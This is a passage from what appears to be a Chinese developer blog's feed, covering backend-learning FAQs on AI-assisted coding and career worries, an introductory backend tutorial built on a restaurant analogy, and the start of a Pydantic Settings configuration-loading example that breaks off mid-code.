&lt;p&gt;如果你已经度过了编程小白时期，开始尝试写一些自己的小项目，那么我会提出一个完全相反的观点：&lt;strong&gt;尽可能多地，放心大胆地，让 AI 来生成你的项目代码&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;不过这里的前提是，你需要&lt;strong&gt;阅读 AI 的每一行代码&lt;/strong&gt;，确保自己读懂它。并且&lt;strong&gt;调试和 debug 时不要使用 AI&lt;/strong&gt;！&lt;/p&gt;
&lt;p&gt;使用 AI 快速实现需求能极大提高你的信心，能迅速把你领进现代开发的工作流，熟悉多样的技术。同时这个阶段也完全没必要怕 AI 写的坏代码，我反而要说这是不得不品鉴的一环。只有自己第一次把坏代码写出来，你当你想改一个小功能却要动十几个地方时，你会发觉“原来这就是坏味道”，才能切实体会到代码为什么坏，才能理解某种所谓的“最佳实践”为什么是最佳实践，某些设计模式或原则为什么是好的，能借此学习如何重构自己的代码。相反，如果直接去硬啃那么多“最佳实践”，这就像是你不知道敌人是谁就举起了武器，想必是会脱靶。&lt;/p&gt;
&lt;p&gt;当你度过了这种“后新手”时期，你一定也会有自己对于 AI 工具的独特理解了。在这之前，你会从“判断 AI 写的代码好不好”开始，逐渐成为一个真正独立的开发者。&lt;/p&gt;
&lt;h3 id="11-ai-会取代后端开发吗"&gt;11. AI 会取代后端开发吗？
&lt;/h3&gt;&lt;p&gt;短期内不会。经常看到视频说完全用 AI 写了一个大项目，但目前来看， AI 的代码虽然能跑，却往往有不少问题。经常看起来 90% 正确，实际就是差那 10% 。经常缺乏架构意识和维护性考量（可以通过提示词工程来改善），或者安全性、健壮性差。&lt;/p&gt;
&lt;p&gt;但是这样来看，这也意味着 AI 的进步速度飞快，也许再过几年，AI 就能独立负责一整个项目，写出又快又好的代码。&lt;/p&gt;
&lt;p&gt;因此，后端开发者大概会需要具有架构师和产品经理的思维。&lt;/p&gt;
&lt;p&gt;AI 发达了之后，后端开发的时间成本和人力成本都会下降，更有价值的问题不再是技术本身。后端开发者可能更需要对业务有整体的把握能力。因为技术不是最终目的，&lt;strong&gt;技术的本质是为了产品服务的&lt;/strong&gt;。什么样的产品是用户所需要的，产品针对的用户群体是什么，产品的商业模式是什么，等等，可能才是更有价值的问题。&lt;/p&gt;
&lt;h2 id="关于就业"&gt;关于就业
&lt;/h2&gt;&lt;h3 id="12-青春饭35岁危机"&gt;12. 青春饭？35岁危机？
&lt;/h3&gt;&lt;p&gt;问这个问题的目的其实可能分成两个&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;可能是因为想看看未来是否还能从事计算机这个行业, 害怕跳火坑&lt;/li&gt;
&lt;li&gt;也可能是已经决定准备进入计算机行业, 但是对未来的发展比较担忧焦虑.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;关注点不同, 但焦虑的本质是相同的: 未来的不确定性.&lt;/p&gt;
&lt;p&gt;是不是有 35 岁被裁的情况呢? 的确是有的. 但是我们看问题要看本质. 行业淘汰人的原因, 不是因为年龄, 是因为性价比. 公司不会花高薪请一个拼接业务逻辑, 只会增删改查的 35 岁程序员, 但会请一个能独立承担架构、能带团队、能解决复杂问题的 35 岁工程师.&lt;/p&gt;
&lt;p&gt;年龄只是个时间点，本质是你在这段时间有没有持续成长&lt;/p&gt;
&lt;p&gt;我们从行业视角来看这个问题, 35 - 18 = 17 , 十几年时间, 足以天翻地覆. 十七年前, 互联网还没爆发, 云计算还没起步, AI 更是边缘话题. 十七年后, 谁能预测行业变成什么样?&lt;/p&gt;
&lt;p&gt;与其担忧未来这个行业会不会有危机, 不如承认计算机这个行业就是一个充满变化的行业.&lt;/p&gt;
&lt;p&gt;这里又有一个个人选择的问题. 你最终想要的到底是什么? 你是想要高薪, 还是喜欢编程, 还是想成为某个领域的专家, 还是想成为一步步爬升, 做技术管理? 想清楚之后, 你才能做准备.&lt;/p&gt;
&lt;p&gt;不过不管怎样来说, 三十五岁太遥远了, 我们更应该关注当下的事情.&lt;/p&gt;
&lt;p&gt;我能学什么，让简历上更有亮点？ 我能做什么项目，能体现解决问题的能力？ 我能利用大学的环境，去尝试哪些有趣的事情？&lt;/p&gt;
&lt;p&gt;未来不可控，当下才是你能左右的, 只有较近的未来是能被计划的.&lt;/p&gt;
&lt;h3 id="ai-发展-未来计算机是土木吗"&gt;AI 发展, 未来计算机是土木吗
&lt;/h3&gt;&lt;p&gt;首先要区分：土木和软件工程有本质上的不同。&lt;/p&gt;
&lt;p&gt;土木和软件工程不一样的地方在于, 土木改造物理世界, 软件改造数字世界. 土木有物理极限, 市场会饱和, 但软件的需求是可以膨胀的, 技术迭代速度远快于土木, 各行各业对于软件的需求是可以转移和升级, 而不会消失的. 因此软件相关的岗位大概率会在比较长的时间里一直存在.&lt;/p&gt;
&lt;p&gt;AI 在软件领域目前主要扮演的是 提效工具 的角色。它可以让开发更快，但真正要它独立完成一个大规模项目，距离现实还有差距。对于就业而言, 悲观的角度看，也许几年后 AI 的迭代能做到自动设计、自动开发、自动运维，那么传统的“低层次程序员”一定会被淘汰。&lt;/p&gt;
&lt;p&gt;但是每一波技术浪潮, 旧岗位消失的同时，新岗位也会诞生。今天 AI 火爆，Agent 开发、AI 产品设计就是新的需求；几年后，可能会出现我们现在还想不到的机会。谁知道几年之后的行业样子呢?&lt;/p&gt;
&lt;p&gt;未来的开发者门槛会提高。单纯写 CRUD 代码的价值会下降，而更需要的是&lt;strong&gt;架构师思维和产品思维&lt;/strong&gt;, 因为真正重要的不是技术, 而是业务. 技术是为了业务服务的. 用户真正需要什么？ 产品目标群体是谁？ 产品的商业模式如何？ 这些实际的业务问题，比单纯的技术实现细节更能决定一个人在公司中的不可替代性。&lt;/p&gt;</description></item><item><title>0.1 导论</title><link>https://v3n0.com/post/backend-tutorial/0.1/</link><pubDate>Sat, 02 Aug 2025 23:48:00 +0800</pubDate><guid>https://v3n0.com/post/backend-tutorial/0.1/</guid><description>&lt;blockquote&gt;
&lt;p&gt;教程作者： &lt;a class="link" href="https://v3n0.com" target="_blank" rel="noopener"
&gt;V3n0&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;欢迎阅读 Veno 的后端教程！&lt;/p&gt;
&lt;p&gt;这篇导论会快速为你建立对于整个计算机领域的认识，并让你了解后端开发在整个开发领域的位置。之后，我会尽可能浅显直白地为你解答小白对于后端的大多数疑问。如果还有更多的问题，那么欢迎提问。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="后端简介"&gt;后端简介
&lt;/h2&gt;&lt;p&gt;深入“后端”这个角色之前，我们先把镜头拉远，看看计算机领域的全貌。这是为了你能更好的理解后端是什么。&lt;/p&gt;
&lt;h3 id="计算机领域整体速通"&gt;计算机领域整体速通
&lt;/h3&gt;&lt;p&gt;我们可以把整个计算机领域想象成从零开始建造并运营一座现代化的城市：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;硬件 - 城市的基建&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是城市的根基。水电，钢筋水泥，道路交通，就是电脑的CPU, 内存，硬盘，主板等等。没有基建，城市的一切建设都是空谈。&lt;/p&gt;
&lt;p&gt;硬件是让计算成为可能的物理基础。&lt;/p&gt;
&lt;p&gt;对应到开发领域，硬件工程师负责了这些硬件的设计制造。此外还有嵌入式开发，为特定的硬件编写贴近硬件的软件（也就是固件）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;操作系统 - 城市的市政&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了利用上面的基建，我们需要有一个“市政府” &amp;ndash; &lt;strong&gt;操作系统&lt;/strong&gt;。市政府负责维护一些基础的公共服务，并且保证了城市的秩序。&lt;/p&gt;
&lt;p&gt;Windows, MacOS, Linux这些操作系统就是市政府，这是连接物理硬件与上层软件的桥梁。它们会和硬件设备交互，管理硬件资源，维持各进程有条不紊地共用资源，并提供一些公共的基础设施，比如进程管理，内存管理，文件系统，设备管理等等。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;应用软件 - 城市的万千商铺&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有了基建和市政，我们终于能开店做生意了。假设说我们想开一家大饭店。&lt;/p&gt;
&lt;p&gt;餐厅的前厅，当然就对应了 &lt;strong&gt;前端开发&lt;/strong&gt;。这是顾客能直接看到和体验到的一切。&lt;/p&gt;
&lt;p&gt;装修、菜单、桌椅、灯光、服务员，这对应着应用的用户界面（UI）。按钮长什么样，图片放在哪里，页面跳转的动画效果，点击按钮后的反应等。服务员热情地为你点餐，就如同一个友好的交互界面。&lt;/p&gt;
&lt;p&gt;而后端开发，就是餐厅的后厨。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="后端的地位"&gt;后端的地位
&lt;/h3&gt;&lt;p&gt;餐厅的后厨是顾客看不见，但决定了饭店生死存亡的核心部分。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;厨师团队 (核心业务逻辑)：&lt;/p&gt;
&lt;p&gt;他们根据菜谱（业务规则）处理食材（数据），制作出菜品（响应）。比如，用户下了一个订单，后端的厨师就要执行“减库存”、“计算价格”、“生成订单记录”等一系列操作。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;仓库和货架 (数据库)：&lt;/p&gt;
&lt;p&gt;所有的食材（用户信息、商品信息、订单数据）都必须分门别类、井井有条地存放在这里。需要什么食材，厨师要能快速、准确地拿到。仓库必须安全、防盗、防火（数据安全与备份）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;点餐的小票 (API)：&lt;/p&gt;
&lt;p&gt;服务员（前端）把顾客的点单通过一个小票传到后厨（后端），后厨做好菜后，再通过这个系统通知服务员取餐。这张小票就是 API，它定义了前后端沟通的格式和语言，是连接前厅和后厨的桥梁。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;厨房的标准化装修 (后端框架):&lt;/p&gt;
&lt;p&gt;如果每个厨师都自己决定炉子放哪、案板多大、调料摆哪，后厨就会乱成一锅粥。框架就像统一装修方案：炉子、冰箱、切菜台、调料架的位置都设计好了，还配好燃气管道和下水系统。厨师（开发者）来了就能直接开工，不用自己从水电走线开始搞。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;厨师长和经理 (服务器与架构)：&lt;/p&gt;
&lt;p&gt;他要确保后厨运转高效。顾客多的时候（高并发），要加派人手（服务器扩容）；要设计好流水线（应用架构），让切菜、炒菜、洗碗协同工作；还要保证炉灶不断火（服务器稳定运行）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以，后端开发就是这家饭店的“后厨团队+仓库管理员+厨师长”的集合体。&lt;/p&gt;
&lt;p&gt;他们不直接服务顾客，但他们决定了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;饭店能提供什么菜品（核心功能）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;菜品味道好不好（算法与逻辑的优劣）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;上菜速度快不快（系统性能）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;饭店能接待多少客人而不会崩溃（系统并发能力）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;客人的信息和交易安不安全（系统安全）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;看完上面的描述，你一定已经对后端是个什么很清楚了。计算机领域虽然确实很浩大，但是别被吓到。我们只需要对这个领域有一个整体的认识即可。就像是我们不需要背下百科全书，只需要学会怎样查百科全书。&lt;/p&gt;</description></item><item><title>使用 Pydantic Settings 优雅地管理多来源的应用配置</title><link>https://v3n0.com/post/2025/elegant-multi-source-configuration-management-with-pydantic-settings/</link><pubDate>Sat, 02 Aug 2025 16:46:15 +0800</pubDate><guid>https://v3n0.com/post/2025/elegant-multi-source-configuration-management-with-pydantic-settings/</guid><description>&lt;p&gt;场景： 我们希望从多种来源，从配置文件导入我们的配置，并且经过 Pydantic 校验。&lt;code&gt;pydantic-settings&lt;/code&gt;库提供了方便的API供我们实现这一需求。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://docs.pydantic.dev/latest/concepts/pydantic_settings/" target="_blank" rel="noopener"
&gt;&lt;strong&gt;Pydantic - Settings Management&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下面直接给出代码示例。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt; 10
&lt;/span&gt;&lt;span class="lnt"&gt; 11
&lt;/span&gt;&lt;span class="lnt"&gt; 12
&lt;/span&gt;&lt;span class="lnt"&gt; 13
&lt;/span&gt;&lt;span class="lnt"&gt; 14
&lt;/span&gt;&lt;span class="lnt"&gt; 15
&lt;/span&gt;&lt;span class="lnt"&gt; 16
&lt;/span&gt;&lt;span class="lnt"&gt; 17
&lt;/span&gt;&lt;span class="lnt"&gt; 18
&lt;/span&gt;&lt;span class="lnt"&gt; 19
&lt;/span&gt;&lt;span class="lnt"&gt; 20
&lt;/span&gt;&lt;span class="lnt"&gt; 21
&lt;/span&gt;&lt;span class="lnt"&gt; 22
&lt;/span&gt;&lt;span class="lnt"&gt; 23
&lt;/span&gt;&lt;span class="lnt"&gt; 24
&lt;/span&gt;&lt;span class="lnt"&gt; 25
&lt;/span&gt;&lt;span class="lnt"&gt; 26
&lt;/span&gt;&lt;span class="lnt"&gt; 27
&lt;/span&gt;&lt;span class="lnt"&gt; 28
&lt;/span&gt;&lt;span class="lnt"&gt; 29
&lt;/span&gt;&lt;span class="lnt"&gt; 30
&lt;/span&gt;&lt;span class="lnt"&gt; 31
&lt;/span&gt;&lt;span class="lnt"&gt; 32
&lt;/span&gt;&lt;span class="lnt"&gt; 33
&lt;/span&gt;&lt;span class="lnt"&gt; 34
&lt;/span&gt;&lt;span class="lnt"&gt; 35
&lt;/span&gt;&lt;span class="lnt"&gt; 36
&lt;/span&gt;&lt;span class="lnt"&gt; 37
&lt;/span&gt;&lt;span class="lnt"&gt; 38
&lt;/span&gt;&lt;span class="lnt"&gt; 39
&lt;/span&gt;&lt;span class="lnt"&gt; 40
&lt;/span&gt;&lt;span class="lnt"&gt; 41
&lt;/span&gt;&lt;span class="lnt"&gt; 42
&lt;/span&gt;&lt;span class="lnt"&gt; 43
&lt;/span&gt;&lt;span class="lnt"&gt; 44
&lt;/span&gt;&lt;span class="lnt"&gt; 45
&lt;/span&gt;&lt;span class="lnt"&gt; 46
&lt;/span&gt;&lt;span class="lnt"&gt; 47
&lt;/span&gt;&lt;span class="lnt"&gt; 48
&lt;/span&gt;&lt;span class="lnt"&gt; 49
&lt;/span&gt;&lt;span class="lnt"&gt; 50
&lt;/span&gt;&lt;span class="lnt"&gt; 51
&lt;/span&gt;&lt;span class="lnt"&gt; 52
&lt;/span&gt;&lt;span class="lnt"&gt; 53
&lt;/span&gt;&lt;span class="lnt"&gt; 54
&lt;/span&gt;&lt;span class="lnt"&gt; 55
&lt;/span&gt;&lt;span class="lnt"&gt; 56
&lt;/span&gt;&lt;span class="lnt"&gt; 57
&lt;/span&gt;&lt;span class="lnt"&gt; 58
&lt;/span&gt;&lt;span class="lnt"&gt; 59
&lt;/span&gt;&lt;span class="lnt"&gt; 60
&lt;/span&gt;&lt;span class="lnt"&gt; 61
&lt;/span&gt;&lt;span class="lnt"&gt; 62
&lt;/span&gt;&lt;span class="lnt"&gt; 63
&lt;/span&gt;&lt;span class="lnt"&gt; 64
&lt;/span&gt;&lt;span class="lnt"&gt; 65
&lt;/span&gt;&lt;span class="lnt"&gt; 66
&lt;/span&gt;&lt;span class="lnt"&gt; 67
&lt;/span&gt;&lt;span class="lnt"&gt; 68
&lt;/span&gt;&lt;span class="lnt"&gt; 69
&lt;/span&gt;&lt;span class="lnt"&gt; 70
&lt;/span&gt;&lt;span class="lnt"&gt; 71
&lt;/span&gt;&lt;span class="lnt"&gt; 72
&lt;/span&gt;&lt;span class="lnt"&gt; 73
&lt;/span&gt;&lt;span class="lnt"&gt; 74
&lt;/span&gt;&lt;span class="lnt"&gt; 75
&lt;/span&gt;&lt;span class="lnt"&gt; 76
&lt;/span&gt;&lt;span class="lnt"&gt; 77
&lt;/span&gt;&lt;span class="lnt"&gt; 78
&lt;/span&gt;&lt;span class="lnt"&gt; 79
&lt;/span&gt;&lt;span class="lnt"&gt; 80
&lt;/span&gt;&lt;span class="lnt"&gt; 81
&lt;/span&gt;&lt;span class="lnt"&gt; 82
&lt;/span&gt;&lt;span class="lnt"&gt; 83
&lt;/span&gt;&lt;span class="lnt"&gt; 84
&lt;/span&gt;&lt;span class="lnt"&gt; 85
&lt;/span&gt;&lt;span class="lnt"&gt; 86
&lt;/span&gt;&lt;span class="lnt"&gt; 87
&lt;/span&gt;&lt;span class="lnt"&gt; 88
&lt;/span&gt;&lt;span class="lnt"&gt; 89
&lt;/span&gt;&lt;span class="lnt"&gt; 90
&lt;/span&gt;&lt;span class="lnt"&gt; 91
&lt;/span&gt;&lt;span class="lnt"&gt; 92
&lt;/span&gt;&lt;span class="lnt"&gt; 93
&lt;/span&gt;&lt;span class="lnt"&gt; 94
&lt;/span&gt;&lt;span class="lnt"&gt; 95
&lt;/span&gt;&lt;span class="lnt"&gt; 96
&lt;/span&gt;&lt;span class="lnt"&gt; 97
&lt;/span&gt;&lt;span class="lnt"&gt; 98
&lt;/span&gt;&lt;span class="lnt"&gt; 99
&lt;/span&gt;&lt;span class="lnt"&gt;100
&lt;/span&gt;&lt;span class="lnt"&gt;101
&lt;/span&gt;&lt;span class="lnt"&gt;102
&lt;/span&gt;&lt;span class="lnt"&gt;103
&lt;/span&gt;&lt;span class="lnt"&gt;104
&lt;/span&gt;&lt;span class="lnt"&gt;105
&lt;/span&gt;&lt;span class="lnt"&gt;106
&lt;/span&gt;&lt;span class="lnt"&gt;107
&lt;/span&gt;&lt;span class="lnt"&gt;108
&lt;/span&gt;&lt;span class="lnt"&gt;109
&lt;/span&gt;&lt;span class="lnt"&gt;110
&lt;/span&gt;&lt;span class="lnt"&gt;111
&lt;/span&gt;&lt;span class="lnt"&gt;112
&lt;/span&gt;&lt;span class="lnt"&gt;113
&lt;/span&gt;&lt;span class="lnt"&gt;114
&lt;/span&gt;&lt;span class="lnt"&gt;115
&lt;/span&gt;&lt;span class="lnt"&gt;116
&lt;/span&gt;&lt;span class="lnt"&gt;117
&lt;/span&gt;&lt;span class="lnt"&gt;118
&lt;/span&gt;&lt;span class="lnt"&gt;119
&lt;/span&gt;&lt;span class="lnt"&gt;120
&lt;/span&gt;&lt;span class="lnt"&gt;121
&lt;/span&gt;&lt;span class="lnt"&gt;122
&lt;/span&gt;&lt;span class="lnt"&gt;123
&lt;/span&gt;&lt;span class="lnt"&gt;124
&lt;/span&gt;&lt;span class="lnt"&gt;125
&lt;/span&gt;&lt;span class="lnt"&gt;126
&lt;/span&gt;&lt;span class="lnt"&gt;127
&lt;/span&gt;&lt;span class="lnt"&gt;128
&lt;/span&gt;&lt;span class="lnt"&gt;129
&lt;/span&gt;&lt;span class="lnt"&gt;130
&lt;/span&gt;&lt;span class="lnt"&gt;131
&lt;/span&gt;&lt;span class="lnt"&gt;132
&lt;/span&gt;&lt;span class="lnt"&gt;133
&lt;/span&gt;&lt;span class="lnt"&gt;134
&lt;/span&gt;&lt;span class="lnt"&gt;135
&lt;/span&gt;&lt;span class="lnt"&gt;136
&lt;/span&gt;&lt;span class="lnt"&gt;137
&lt;/span&gt;&lt;span class="lnt"&gt;138
&lt;/span&gt;&lt;span class="lnt"&gt;139
&lt;/span&gt;&lt;span class="lnt"&gt;140
&lt;/span&gt;&lt;span class="lnt"&gt;141
&lt;/span&gt;&lt;span class="lnt"&gt;142
&lt;/span&gt;&lt;span class="lnt"&gt;143
&lt;/span&gt;&lt;span class="lnt"&gt;144
&lt;/span&gt;&lt;span class="lnt"&gt;145
&lt;/span&gt;&lt;span class="lnt"&gt;146
&lt;/span&gt;&lt;span class="lnt"&gt;147
&lt;/span&gt;&lt;span class="lnt"&gt;148
&lt;/span&gt;&lt;span class="lnt"&gt;149
&lt;/span&gt;&lt;span class="lnt"&gt;150
&lt;/span&gt;&lt;span class="lnt"&gt;151
&lt;/span&gt;&lt;span class="lnt"&gt;152
&lt;/span&gt;&lt;span class="lnt"&gt;153
&lt;/span&gt;&lt;span class="lnt"&gt;154
&lt;/span&gt;&lt;span class="lnt"&gt;155
&lt;/span&gt;&lt;span class="lnt"&gt;156
&lt;/span&gt;&lt;span class="lnt"&gt;157
&lt;/span&gt;&lt;span class="lnt"&gt;158
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# config.py&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pydantic&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseModel&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pydantic_settings&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BaseSettings&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;InitSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PydanticBaseSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SettingsConfigDict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;TomlConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;YamlConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;EnvVarFileConfigSettingsSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InitSettingsSource&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; A source that loads configuration from a file specified in an environment variable.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; It automatically selects the TOML or YAML parser based on the file extension.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;settings_cls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;BaseSettings&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;env_var&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;MYAPP_CONFIG_FILE&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;env_file_encoding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; Args:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; settings_cls: The settings class.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; env_var: The name of the environment variable to read the file path from.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; env_file_encoding: The encoding to use for YAML files.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;env_var&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;env_var&lt;/span&gt;
